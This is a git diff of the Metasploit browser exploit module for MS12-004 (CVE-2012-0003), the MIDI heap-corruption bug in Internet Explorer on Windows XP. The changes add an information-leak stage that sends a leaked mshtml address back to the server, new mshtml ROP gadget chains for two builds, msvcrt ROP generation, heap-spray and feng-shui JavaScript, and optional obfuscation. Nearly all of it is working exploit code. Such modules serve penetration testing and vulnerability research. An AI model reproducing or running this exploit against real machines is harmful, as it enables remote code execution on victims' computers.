diff --git a/modules/exploits/windows/browser/ms12_004_midi.rb b/modules/exploits/windows/browser/ms12_004_midi.rb index d349ab50d3..5e0ea4e7e8 100644 --- a/modules/exploits/windows/browser/ms12_004_midi.rb +++ b/modules/exploits/windows/browser/ms12_004_midi.rb @@ -1,8 +1,8 @@ ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ ## require 'msf/core' @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, @@ -42,10 +43,13 @@ class Metasploit3 < Msf::Exploit::Remote (CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects, which leverages remote code execution under the context of the user. - Note: At this time, for IE 8 target, you may either choose the JRE ROP, or the - msvcrt ROP to bypass DEP (Data Execution Prevention). + Note: At this time, for IE 8 target, msvcrt ROP is used by default. However, + if you know your target's patch level, you may also try the 'MSHTML' advanced + option for an info leak based attack. Currently, this module only supports two + MSHTML builds: 8.0.6001.18702, which is often seen in a newly installed XP SP3. + Or 8.0.6001.19120, which is patch level before the MS12-004 fix. - Also, based on our testing, the vulnerability does not seem to trigger when + Also, based on our testing, the vulnerability does not seem to trigger when the victim machine is operated via rdesktop. }, 'License' => MSF_LICENSE, @@ -61,16 +65,16 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2012-0003' ], [ 'OSVDB', '78210'], [ 'BID', '51292'], - [ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ], + [ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ] ], 'Payload' => { - 'Space' => 1024, + 'Space' => 1024 }, 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => @@ -79,40 +83,27 @@ class Metasploit3 < Msf::Exploit::Remote [ 'IE 6 on Windows XP SP3', { - 'Rop' => nil, + 'Rop' => false, 'DispatchDst' => 0x0c0c0c0c } ], [ 'IE 7 on Windows XP SP3', { - 'Rop' => nil, + 'Rop' => false, 'DispatchDst' => 0x0c0c0c0c } ], [ - 'IE 8 on Windows XP SP3 with JRE ROP', + 'IE 8 on Windows XP SP3', { # xchg ecx,esp # or byte ptr [eax],al # add byte ptr [edi+5Eh],bl # ret 8 # From IMAGEHLP - 'Rop' => :msvcr71, - 'StackPivot' => 0x76C9B4C2, - 'DispatchDst' => 0x0c0c1be4 - } - ], - [ - 'IE 8 on Windows XP SP3 with msvcrt', - { - # xchg ecx,esp - # or byte ptr [eax],al - # add byte ptr [edi+5Eh],bl - # ret 8 - # From IMAGEHLP - 'Rop' => :msvcrt, - 'StackPivot' => 0x76C9B4C2, + 'Rop' => true, + 'StackPivot' => 0x76C9B4C2, 'DispatchDst' => 0x0c0c1bd0 } ] @@ -126,11 +117,39 @@ class Metasploit3 < Msf::Exploit::Remote OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) + register_advanced_options( + [ + OptEnum.new('MSHTML', + [ + false, "MSHTML Build Version", '', + [ + '', #Default (no leaky leaky) + '8.0.6001.18702', #newly installed Win XP SP3 non patched + '8.0.6001.19120' #fully patched before KB2598479 - been the same at least since Sep 2011 + ] + ]) + ], self.class) + end + + def exploit + @m_name, @midi = get_midi + @ml_name, @midi_leak = get_midi("leak") + @second_stage_url = rand_text_alpha(10) + @leak_param = rand_text_alpha(5) + + # Offset to CFunctionPointer vftable in MSHTML + case datastore['MSHTML'] + when '8.0.6001.18702' + @offset = 0xbf190 + when '8.0.6001.19120' + @offset = 0xd92c8 + end + super end def get_target(request) agent = request.headers['User-Agent'] - vprint_status("Request from: #{agent}") + print_status("Request as: #{agent}") if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/ #Windows XP SP3 + IE 6.0 @@ -139,14 +158,15 @@ class Metasploit3 < Msf::Exploit::Remote #Windows XP SP3 + IE 7.0 return targets[2] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ - #Windows XP SP3 + IE 8.0 + JRE6 + #Windows XP SP3 + IE 8.0 return targets[3] else return nil end end - def get_midi + # stage => "corruption" (default) | "leak" + def get_midi(stage="corruption") # MIDI Fileformat Reference: # http://www.sonicspot.com/guide/midifiles.html # @@ -183,9 +203,13 @@ class Metasploit3 < Msf::Exploit::Remote tc << "\x85\x50\x99\x23\x7F" # Corruption events - # Midi Channel Event - Note On - tc << "\x00\x9F\xb2\x73" - # Ends Corruption events + if stage == "corruption" + # Midi Channel Event - Note On + tc << "\x00\x9F\xb2\x73" + else + # Midi Channel Event - Note Off (trigger a leak) + tc << "\x00\x8F\xb2\x73" + end # Meta Event - End Of Track tc << "\x00\xFF\x2F\x00" @@ -201,58 +225,85 @@ class Metasploit3 < Msf::Exploit::Remote m << [tc.length].pack('N') m << tc - midi_name = "test_case.mid" + #midi_name = "test_case.mid" + midi_name = rand_text_alpha(5) + ".mid" return midi_name, m end def on_request_uri(cli, request) - if request.uri =~ /\.mid$/i - print_status("Sending midi file") - send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'}) - return - end - - #Set default target + # Initialize a target. If none suitable, then we don't continue. my_target = target - - #If user chooses automatic target, we choose one based on user agent if my_target.name =~ /Automatic/ my_target = get_target(request) - if my_target.nil? + agent = request.headers['User-Agent'] + if my_target.nil? and agent !~ /Windows\-Media\-Player|NSPlayer/ send_not_found(cli) print_error("Unknown user-agent") return end - vprint_status("Target selected: #{my_target.name}") + vprint_status("Target selected: #{my_target.name}") if not my_target.nil? end + # Send the corrupt midi file to trigger a memory leak, or a crash to that points + # to an arbitrary address. + if request.uri =~ /#{@ml_name}$/i + print_status("Testing for info leak...") + send_response(cli, @midi_leak, {'Content-Type'=>'application/octet-strem'}) + return + elsif request.uri =~ /#{@m_name}$/i + print_status("Sending midi corruption file...") + send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'}) + return + end + + # Send the appropriate stage + if datastore['MSHTML'].to_s != '' and my_target['Rop'] + if request.uri =~ /#{@second_stage_url}/ + leak = begin + request.uri_parts["QueryString"][@leak_param].to_i + rescue + 0 + end + print_status("Leaked address: 0x#{leak.to_s(16)}") + send_stage(cli, my_target, 'trigger', leak) + return + end + send_stage(cli, my_target, 'leak') + else + send_stage(cli, my_target) + end + end + + def send_stage(cli, my_target, stage='trigger', leak=0) midi_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource - midi_uri << "/#{@m_name}" - spray = build_spray(my_target) - - if datastore['OBFUSCATE'] - spray = ::Rex::Exploitation::JSObfu.new(spray) - spray.obfuscate + if stage == 'leak' + midi_uri << "/#{@ml_name}" + trigger = build_trigger(my_target, "leak") + else + midi_uri << "/#{@m_name}" + trigger = build_trigger(my_target) + spray = build_spray(my_target, leak) end - trigger = build_trigger(my_target) - trigger_fn = "trigger" - if datastore['OBFUSCATE'] + spray = ::Rex::Exploitation::JSObfu.new(spray).obfuscate trigger = ::Rex::Exploitation::JSObfu.new(trigger) trigger.obfuscate - trigger_fn = trigger.sym("trigger") + trigger_fn = trigger.sym('trigger') + else + trigger_fn = 'trigger' end html = %Q| + @@ -276,39 +327,34 @@ class Metasploit3 < Msf::Exploit::Remote html = html.gsub(/^\t\t/, '') - print_status("Sending HTML") + print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, html, {'Content-Type'=>'text/html'}) end - def exploit - @m_name, @midi = get_midi - super - end - - def build_spray(my_target) + def build_spray(my_target, leak=0) # Extract string based on target - if my_target.name =~ /JRE ROP$/ + if my_target.name == 'IE 8 on Windows XP SP3' js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);" - js_shellcode = "var shellcode = nops.substring(0,0x800 - code.length) + code;" - elsif my_target.name =~ /msvcrt$/ - js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);" - js_shellcode = "var shellcode = nops.substring(0,0x800 - code.length) + code;" else js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);" - js_shellcode = "var shellcode = nops.substring(0,0x800 - code.length) + code;" end # Build shellcode based on Rop requirement - if my_target['Rop'] - code = create_rop_chain(my_target) + code = '' + if my_target['Rop'] and datastore['MSHTML'].to_s != '' + print_status("Generating ROP using info-leak: 0x#{leak.to_s(16)}") + code << create_info_leak_rop(my_target, leak) code << payload.encoded - shellcode = Rex::Text.to_unescape(code) + elsif my_target['Rop'] and datastore['MSHTML'].to_s == '' + print_status("Generating ROP using msvcrt") + code << create_rop(my_target, payload.encoded) else - code = payload.encoded - shellcode = Rex::Text.to_unescape(code) + code << payload.encoded end + shellcode = Rex::Text.to_unescape(code) + # 1. Create big block of nops # 2. Compose one block which is nops + shellcode # 3. Repeat the block @@ -321,9 +367,7 @@ class Metasploit3 < Msf::Exploit::Remote var nops = unescape("%u0c0c%u0c0c"); while (nops.length < 0x1000) nops+= nops; - - #{js_shellcode} - + var shellcode = nops.substring(0,0x800 - code.length) + code; while (shellcode.length < 0x40000) shellcode += shellcode; #{js_extract_str} @@ -340,7 +384,8 @@ class Metasploit3 < Msf::Exploit::Remote end # Build the JavaScript string for the attributes - def build_element(element_name, my_target) + # type => "corruption" (default) | "leak" + def build_element(element_name, my_target, type="corruption") dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V")) element = '' @@ -356,7 +401,12 @@ class Metasploit3 < Msf::Exploit::Remote # Build attributes 0.upto(max) do |i| - obj = (i==index) ? "unescape(\"#{dst}\")" : "alert" + case type + when "corruption" + obj = (i==index) ? "unescape(\"#{dst}\")" : "alert" + else #leak + obj = "alert" + end element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n" end @@ -369,54 +419,16 @@ class Metasploit3 < Msf::Exploit::Remote # 3. Make holes # 4. Let windows media play the crafted midi file and corrupt the heap # 5. Force the using of the confused tagVARIANT. - def build_trigger(my_target) - - if my_target.name =~ /IE 8 on Windows XP SP3/ - - # Redoing the feng shui if fails makes it reliable - js_trigger = <<-JSTRIGGER - function trigger(){ - var k = 999; - while (k > 0) { - if (typeof(clones[k].w1) == "string") { - } else { - clones[k].w1('come on!'); - } - k = k - 2; - } - feng_shui(); - document.audio.Play(); - } - JSTRIGGER - - select_element = build_element('selob', my_target) - else - - js_trigger = <<-JSTRIGGER - function trigger(){ - var k = 999; - while (k > 0) { - if (typeof(clones[k].w0) == "string") { - } else { - clones[k].w0('come on!'); - } - k = k - 2; - } - feng_shui(); - document.audio.Play(); - } - JSTRIGGER - - select_element = build_element('selob', my_target) - end + def build_trigger(my_target, type="corruption") + js_trigger = build_trigger_fn(my_target, type) + select_element = build_element('selob', my_target, type) trigger = <<-JS var heap = new heapLib.ie(); #{select_element} - var clones=new Array(1000); + var clones = new Array(1000); function feng_shui() { - heap.gc(); var i = 0; @@ -431,7 +443,6 @@ class Metasploit3 < Msf::Exploit::Remote CollectGarbage(); j = j + 2; } - } feng_shui(); @@ -443,85 +454,171 @@ class Metasploit3 < Msf::Exploit::Remote return trigger end - def junk(n=1) - tmp = [] - value = rand_text(4).unpack("L")[0].to_i - n.times { tmp << value } - return tmp + # type = "corruption" (default) | "leak" + def build_trigger_fn(my_target, type="corruption") + js_trigger="" + case type + when "corruption" + js_trigger = js_trigger_fn_corruption(my_target) + when "leak" + js_trigger = js_trigger_fn_leak(my_target) + end + return js_trigger end - def nop - return make_nops(4).unpack("L")[0].to_i + # Redoing the feng shui if fails makes it reliable + def js_trigger_fn_corruption(my_target) + attribute = (my_target.name == 'IE 8 on Windows XP SP3') ? 'w1' : 'w0' + + js = %Q| + function trigger(){ + var k = 999; + while (k > 0) { + if (typeof(clones[k].#{attribute}) == "string") { + } else { + clones[k].#{attribute}('come on!'); + } + k = k - 2; + } + feng_shui(); + document.audio.Play(); + } + | + + return js end - def create_rop_chain(my_target) - - pivot = my_target['StackPivot'] - - case my_target['Rop'] - when :msvcrt - rop_gadgets = - [ - 0x77c539ee, # RETN - pivot, - junk, - 0x77c4e392, # POP EAX # RETN - 0x77c11120, # <- *&VirtualProtect() - 0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN - junk, - 0x77c2dd6c, - 0x77c4ec00, # POP EBP # RETN - 0x77c35459, # ptr to 'push esp # ret' - 0x77c47705, # POP EBX # RETN - 0x00000400, # <- change size to mark as executable if needed (-> ebx) - 0x77c3ea01, # POP ECX # RETN - 0x77c5d000, # W pointer (lpOldProtect) (-> ecx) - 0x77c46100, # POP EDI # RETN - 0x77c46101, # ROP NOP (-> edi) - 0x77c4d680, # POP EDX # RETN - 0x00000040, # newProtect (0x40) (-> edx) - 0x77c4e392, # POP EAX # RETN - nop, # NOPS (-> eax) - 0x77c12df9, # PUSHAD # RETN - ].flatten.pack("V*") - - when :msvcr71 - rop_gadgets = - [ - 0x7c347f98, # RETN (ROP NOP) - pivot, # stackpivot - junk, # padding - 0x7c376402, # POP EBP # RETN - 0x7c376402, # skip 4 bytes - 0x7c347f97, # POP EAX # RETN - 0xfffff800, # Value to negate, will become 0x00000201 (dwSize) - 0x7c351e05, # NEG EAX # RETN - 0x7c354901, # POP EBX # RETN - 0xffffffff, - 0x7c345255, # INC EBX # FPATAN # RETN - 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN - 0x7c344f87, # POP EDX # RETN - 0xffffffc0, # Value to negate, will become 0x00000040 - 0x7c351eb1, # NEG EDX # RETN - 0x7c34d201, # POP ECX # RETN - 0x7c38b001, # &Writable location - 0x7c34b8d7, # POP EDI # RETN - 0x7c347f98, # RETN (ROP NOP) - 0x7c364802, # POP ESI # RETN - 0x7c3415a2, # JMP [EAX] - 0x7c347f97, # POP EAX # RETN - 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF (IAT) - 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN - 0x7c345c30, # ptr to 'push esp # ret' - ].flatten.pack('V*') + # Redoing the feng shui if fails makes it reliable + def js_trigger_fn_leak(my_target) + js_trigger = "" + if my_target.name == 'IE 8 on Windows XP SP3' + js_trigger = <<-JSTRIGGER + function trigger(){ + var k = 999; + while (k > 0) { + if (typeof(clones[k].w1) == "string") { + var leak = clones[k].w1.charCodeAt(1)*0x10000 + clones[k].w1.charCodeAt(0) + document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + leak + return; + } + k = k - 2; + } + feng_shui(); + document.audio.Play(); + } + JSTRIGGER end - return rop_gadgets + return js_trigger end + def create_rop(t, p) + # MSVCRT.dll ROP + padding = '' + padding << [0x77C4CA70].pack("V*") #ADD ESP,0C; RET + padding << [t['StackPivot']].pack("V*") + padding << [0x77C4CA73].pack("V*") * 12 #ROP NOPs + generate_rop_payload('msvcrt', p, {'pivot'=>padding, 'target'=>'xp'}) + end + def create_info_leak_rop(my_target, leak = 0x0) + base = (leak == 0x00) ? 0x63580000 : (leak - @offset) + print_status("Image base of mshtml: 0x%x" %base) + + # Generate the gadgets based on offset + rop_gadgets = '' + case @offset + when 0xd92c8 + rop_gadgets = + [ + :junk, + :junk, + 0x328468, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14 + :junk, + 0x247e5d, # ROP NOPs + 0x247e5d, + 0x247e5d, + 0x247e5d, + 0x247e5d, + 0x247e5d, + 0x247e5d, + 0x247e5c, # POP ESI # RETN [mshtml.dll] + 0x137c, # ptr to &VirtualProtect() [IAT mshtml.dll] + 0x3c8db7, # MOV EDX,DWORD PTR DS:[ESI] # ADD EAX,8BCE8B00 # RETN [mshtml.dll] + 0x42e239, # PUSH EDX # XOR EAX,EAX # POP ESI # POP EBP # RETN 0x08 [mshtml.dll] + :junk, + 0x3460c, # POP EBP # RETN [mshtml.dll] + :junk, + :junk, + 0x23ef79, # & jmp esp [mshtml.dll] + 0x189303, # POP EBX # RETN [mshtml.dll] + :ebx, # 0x00000201-> ebx + 0x20437c, # POP EDX # RETN [mshtml.dll] + :edx, # 0x00000040-> edx + 0xc277, # POP ECX # RETN [mshtml.dll] + 0x53a47d, # &Writable location [mshtml.dll] + 0x4a33e2, # POP EDI # RETN [mshtml.dll] + 0x4b601, # RETN (ROP NOP) [mshtml.dll] + 0x33fbc6, # POP EAX # RETN [mshtml.dll] + :nop, + 0x52c718 # PUSHAD # RETN [mshtml.dll] + ] + + when 0xbf190 + rop_gadgets = + [ + :junk, + 0x3338ae, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14 + :junk, + 0xe9e7, # POP ECX # RETN [mshtml.dll] 0x6358e9e7 + :junk, + :junk, + :junk, + :junk, + :junk, + 0x1318, # ptr to &VirtualProtect() [IAT mshtml.dll] + 0x48b440, # MOV EDX,DWORD PTR DS:[ECX] # RETN [mshtml.dll] + 0x3dc745, # POP ESI # RETN [mshtml.dll] + :neg, # 0xffffffff + 0x2fb18b, # INC ESI # RETN [mshtml.dll] + 0x35190d, # ADC ESI,EDX # DEC ECX # RETN 08 [mshtml.dll] + 0x4aada7, # POP EBP # RETN [mshtml.dll] + :junk, # Compensates RETN + :junk, # Compensates RETN + 0x1ffc54, # & jmp esp [mshtml.dll] + 0x4498a7, # POP EBX # RETN [mshtml.dll] + :ebx, # 0x00000800: 0x00000201-> ebx + 0x24cce4, # POP EDX # RETN [mshtml.dll] + :edx, # 0x00000040-> edx + 0x158306, # POP ECX # RETN [mshtml.dll] + 0x535098, # &Writable location [mshtml.dll] + 0x1cf217, # POP EDI # RETN [mshtml.dll] + 0xa0001, # RETN (ROP NOP) [mshtml.dll] + 0x349f9b, # POP EAX # RETN [mshtml.dll] + :nop, + 0x2afbe8 # PUSHAD # RETN [mshtml.dll] + ] + end + + nops = make_nops(4).unpack("L")[0].to_i + + rop_gadgets.map! { |e| + if e == :junk + rand_text(4).unpack("L")[0].to_i + elsif e == :neg + 0xffffffff + elsif e == :ebx + 0x00000800 + elsif e == :edx + 0x00000040 + elsif e == :nop + nops + else + base + e + end + } + + chain = rop_gadgets.pack('V*') + return chain + end end - -=begin -6367893A FF51 04 CALL DWORD PTR DS:[ECX+4] -=end